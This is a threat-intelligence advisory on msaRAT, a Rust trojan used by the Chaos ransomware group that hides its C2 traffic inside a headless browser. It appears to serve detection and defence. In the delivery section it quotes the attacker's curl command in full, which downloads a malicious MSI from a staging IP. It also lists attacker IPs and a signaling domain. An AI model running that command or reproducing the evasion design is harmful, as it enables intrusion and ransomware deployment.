# msaRAT: Rust-based RAT Hides C2 in Browser Process, Tied to Chaos Ransomware RaaS

> Cisco Talos identified msaRAT, a Rust/Tokio-based remote access trojan that hides its entire C2 channel inside a legitimate headless Chrome/Edge browser process by controlling it via the Chrome DevTools Protocol, signaling through an abused Cloudflare Workers endpoint and relaying all traffic through Twilio TURN servers. The malware, delivered via vishing and spam email disguised as a Windows-update MSI, is attributed to the Chaos ransomware-as-a-service group — assessed with moderate confidence by Talos to be a rebrand of, or operated by former members of, the BlackSuit/Royal ransomware lineage following BlackSuit's July 2025 law-enforcement takedown — and has been active since at least February 2025, enabling double/triple-extortion ransomware operations against large organizations.

- **Published:** 2026-07-25T00:00:00Z
- **Last reviewed:** 2026-07-25T22:35:01.488Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-1694
- **ID:** TL-2026-1694
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Actor:** Chaos Ransomware-as-a-Service Group
- **Detections:** 9 · **IOCs:** 53 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Cisco Talos disclosed msaRAT, a Rust-based remote access trojan built on the Tokio asynchronous runtime, whose name derives from four exported bindings found in the binary — msaOpen, msaClose, msaError, and msaMessage. msaRAT is deployed by the Chaos ransomware-as-a-service (RaaS) operation (a 2025 group distinct from the unrelated 2021 'Chaos' ransomware-builder family) as a post-compromise access and reconnaissance tool ahead of double-extortion ransomware deployment.

Delivery begins with vishing (voice phishing) or spam email that leads a victim to run 'curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi', fetching an MSI installer disguised as a Windows update over plaintext HTTP on port 443 — a choice that lets the traffic slip past protocol-aware inspection expecting TLS on that port. The MSI's custom action, CA_Run_EA2AEBC3, extracts the binary Bin_lib_EA2AEBC3 from the MSI Binary table and loads the payload DLL (lib.dll, the msaRAT implant) directly into memory rather than dropping a standalone RAT binary to disk.

The distinctive feature of the campaign is its C2 channel: msaRAT spawns its own instance of Chrome or Edge in headless mode (--headless=new, --remote-debugging-port), discovering the browser binary path via the registry when environment variables are unavailable, and controls it entirely through the Chrome DevTools Protocol (CDP), injecting JavaScript — stored in plaintext in the binary's .rdata section — that executes inside the browser. The RAT process itself never touches the network; every external packet originates from the legitimate, code-signed browser process (identifiable on the wire by a HeadlessChrome user-agent string), while the RAT-to-browser channel stays confined to 127.0.0.1 loopback.

The injected JavaScript retrieves connection configuration and performs WebRTC SDP offer/answer signaling through an abused Cloudflare Workers endpoint (is-01-ast.ols-img-12.workers.dev), spoofing Origin/Referer headers to resemble official Microsoft traffic. It resolves the host's external address via Google's public STUN service (stun2.l.google.com), then deliberately omits ICE candidates so that every connection is forced through Twilio's TURN relay (global.turn.twilio.com) instead of a direct peer-to-peer path — hiding the true C2 server behind Twilio's infrastructure. WebRTC DataChannels are named with a random 5-20 character alphanumeric string to resist static signature matching. Traffic is protected by two encryption layers: the browser-native WebRTC DataChannel DTLS layer, plus a second, malware-specific ChaCha20-Poly1305 layer keyed via ECDH, so the payload stays opaque even if the outer DTLS is stripped or inspected.

Attribution and lineage: Talos assesses with moderate confidence that Chaos is either a rebrand of the BlackSuit ransomware group or is operated by former BlackSuit members, itself the successor of the earlier Royal ransomware operation. The assessment rests on identical encryption command-line parameters (/lkey, /encrypt_step, /work_mode), matching ransom-note structure and theme, and an overlapping RMM toolset. BlackSuit's leak site and infrastructure were seized on 2025-07-24 in a DOJ-led action (publicly referred to as Operation Checkmate), with follow-on law-enforcement confirmations reported through 2025-08-11 — even though Talos separately observed Chaos-branded ransomware samples compiled as early as February, March, and May 2025, indicating the transition/overlap predates the public takedown announcement. Chaos affiliates are recruited on the Russian-language dark-web forum Ransom Anon Market Place (RAMP), where operators advertise an automated management panel for victim administration, payload deployment, and negotiation, and state (per their own recruitment posts) that affiliates should avoid BRICS/CIS countries, hospitals, and government entities — a stated policy that stands in some tension with independently reported Chaos victims spanning healthcare, education, public safety, energy, and government sectors, predominantly in the United States with additional incidents in the UK, New Zealand, and India.

Initial access into Chaos-affiliated ransomware intrusions (distinct from, but related to, the msaRAT-specific vishing/MSI vector) has also included spam floods combined with voice-based social engineering in which callers impersonate IT/help-desk staff and talk victims into launching Microsoft Quick Assist for hands-on-keyboard remote access, as well as opportunistic RDP exploitation. For persistence, Chaos affiliates have deployed legitimate RMM and remote-access software — AnyDesk, ScreenConnect, OptiTune, Syncro RMM, and Splashtop — and established reverse SSH tunnels to attacker-controlled infrastructure (observed: 45.61.134.36:443) for durable C2 access. Ahead of encryption, operators exfiltrate data using the legitimate file-sync tool GoodSync to upload victim data to cloud storage, and cover their tracks with PowerShell-driven clearing of Windows Security/System event logs and removal of endpoint security tooling.

The Chaos ransomware payload itself (as distinct from msaRAT) is a redesigned C++ encryptor compiled for Windows, VMware ESXi, Linux, and NAS platforms, appending a .chaos extension to encrypted files. It uses Curve25519 ECDH key exchange combined with AES-256 to generate and protect individual per-file encryption keys, supports configurable partial/intermittent encryption (default roughly 30% of file content, observed as high as ~40%) to speed large-scale encryption runs, and includes anti-analysis features such as hash-based debugger/VM detection and a custom 25-byte XOR key used to decrypt the ransom note text embedded in the binary. Observed ransom demands have reached $300,000 from a single U.S. victim, with dual outcomes offered: payment for a decryptor plus a 'detailed penetration overview' and deletion assurances, versus non-payment triggering data disclosure, DDoS threats, and notification of the victim's competitors/clients — consistent with a triple-extortion model. Talos notes the group's public leak site lists a relatively small number of named victims, primarily large organizations.

Talos released a ClamAV signature (Win.Downloader.ChaosRaas-10060321-0) and Snort rules (Snort 2: 1:66839, 1:66840, 1:66841; Snort 3: 1:66839, 1:301587) alongside its msaRAT analysis. BeaconBeagle queries against the disclosed msaRAT staging IP (172.86.126.18), the abused Cloudflare Workers signaling domain, and the separately reported reverse-SSH C2 IP (45.61.134.36) returned no additional correlation data at time of research.

## MITRE ATT&CK

- T1566.004 Phishing: Spearphishing Voice
- T1566.001 Phishing: Spearphishing Attachment
- T1133 External Remote Services
- T1684.001 Impersonation
- T1218.007 System Binary Proxy Execution: Msiexec
- T1059.007 Command and Scripting Interpreter: JavaScript
- T1059.001 Command and Scripting Interpreter: PowerShell
- T1204.002 User Execution: Malicious File
- T1036.005 Match Legitimate Resource Name or Location
- T1620 Reflective Code Loading
- T1218 System Binary Proxy Execution
- T1027 Obfuscated Files or Information
- T1685.005 Clear Windows Event Logs
- T1685 Disable or Modify Tools
- T1497 Virtualization/Sandbox Evasion
- T1622 Debugger Evasion
- T1102.002 Web Service: Bidirectional Communication
- T1090.002 Proxy: External Proxy
- T1573.001 Encrypted Channel: Symmetric Cryptography
- T1573.002 Encrypted Channel: Asymmetric Cryptography
- T1071.001 Application Layer Protocol: Web Protocols
- T1105 Ingress Tool Transfer
- T1219 Remote Access Tools
- T1572 Protocol Tunneling
- T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage
- T1486 Data Encrypted for Impact
- T1657 Financial Theft
- T1021.004 Remote Services: SSH
- T1012 Query Registry

## Sources

- [Chaos ransomware's msaRAT: Living off the browser to build a covert C2 channel](https://blog.talosintelligence.com/chaos-msarat-living-off-the-browser-to-build-covert-c2-channel/)
- [Cisco Talos IOCs repository — chaos-msarat.txt](https://github.com/Cisco-Talos/IOCs/blob/main/2026/07/chaos-msarat.txt)
- [Chaos ransomware msaRAT hides its C2 channel inside a legitimate browser process](https://www.helpnetsecurity.com/2026/07/23/cisco-talos-chaos-ransomware-msarat/)
- [Chaos Ransomware Uses msaRAT to Route C2 Traffic Through Headless Chrome and Edge](https://thehackernews.com/2026/07/chaos-ransomware-uses-msarat-to-route.html)
- [New msaRAT malware uses Chrome, Edge browsers to route C2 traffic](https://www.bleepingcomputer.com/news/security/new-msarat-malware-uses-chrome-edge-browsers-to-route-c2-traffic/)
- [Chaos ransomware deploys browser-based msaRAT to evade network detection](https://securityaffairs.com/195876/malware/chaos-ransomware-deploys-browser-based-msarat-to-evade-network-detection.html)
- [Chaos Ransomware Turns Your Chrome and Edge Web Browser Into an Invisible Malware Command Channel](https://cybersecuritynews.com/chaos-ransomware-turns-chrome-malware/)
- [Chaos Ransomware's msaRAT: Rust RAT Exploits Browsers for C2](https://cypro.co.uk/insights/cyber-bulletins/chaos-ransomwares-msarat-rust-rat-exploits-browsers-for-c2/)
- [Unmasking the new Chaos RaaS group attacks](https://blog.talosintelligence.com/new-chaos-ransomware/)
- [Chaos RaaS Emerges After BlackSuit Group's Exit, Demanding $300K from U.S. Victims](https://thehackernews.com/2025/07/chaos-raas-emerges-after-blacksuit.html)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-1694